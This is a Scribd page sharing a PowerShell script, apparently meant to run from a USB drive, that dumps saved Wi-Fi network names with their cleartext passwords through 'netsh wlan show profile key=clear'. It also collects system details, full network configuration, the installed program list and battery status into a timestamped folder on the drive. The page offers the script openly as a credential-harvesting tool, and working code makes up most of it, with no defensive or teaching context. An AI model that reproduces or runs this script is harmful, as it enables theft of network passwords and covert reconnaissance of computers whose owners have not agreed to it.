0% found this document useful (0 votes)
5 views1 page

Extract Wi-Fi Passwords and System Info

This script creates a session directory to collect various system data, including Wi-Fi passwords, system information, network details, installed programs, battery status, and the current date and time. It extracts Wi-Fi passwords using the 'netsh' command and saves the information to text files in the newly created directory. The script concludes by confirming that all data has been saved successfully.

Uploaded by

pesarkhande469
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views1 page

Extract Wi-Fi Passwords and System Info

This script creates a session directory to collect various system data, including Wi-Fi passwords, system information, network details, installed programs, battery status, and the current date and time. It extracts Wi-Fi passwords using the 'netsh' command and saves the information to text files in the newly created directory. The script concludes by confirming that all data has been saved successfully.

Uploaded by

pesarkhande469
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

$usbPath = Split-Path -Parent $[Link].

Definition
$sessionDir = Join-Path $usbPath ("Collected_Data\Session_" + (Get-Date -Format
"yyyy-MM-dd_HH-mm-ss"))
New-Item -Path $sessionDir -ItemType Directory -Force | Out-Null

$wifiOut = "$sessionDir\wifi_passwords.txt"
$sysOut = "$sessionDir\system_info.txt"
$netOut = "$sessionDir\network_info.txt"
$progOut = "$sessionDir\installed_programs.txt"
$battOut = "$sessionDir\battery_status.txt"
$timeOut = "$sessionDir\[Link]"

Write-Host "Extracting Wi-Fi passwords..."


netsh wlan show profiles | ForEach-Object {
$lines = $_ -split "`n"
foreach ($line in $lines) {
if ($line -match "All User Profile\s*:\s*(.+)$") {
$name = $matches[1].Trim()
Add-Content $wifiOut "`nSSID: $name"
try {

$pass = netsh wlan show profile name="$name" key=clear | Select-


String "Key Content"
if ($pass) {
Add-Content $wifiOut "Password: $($pass -replace 'Key
Content : ', '')"
} else {
Add-Content $wifiOut "No password found"
}
} catch {
Add-Content $wifiOut "Error extracting password for $name"
}
}
}
}

Write-Host "Saving system information..."


Get-ComputerInfo | Out-File -Encoding UTF8 $sysOut
ipconfig /all | Out-File -Encoding UTF8 $netOut
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\
Uninstall\* `
| Where-Object { $_.DisplayName } | Select DisplayName, DisplayVersion `
| Format-Table -AutoSize | Out-File -Encoding UTF8 $progOut
Get-WmiObject Win32_Battery | Format-List * | Out-File -Encoding UTF8 $battOut
(Get-Date -Format "yyyy-MM-dd HH:mm:ss") | Out-File -Encoding UTF8 $timeOut

Write-Host "All data saved successfully!"

You might also like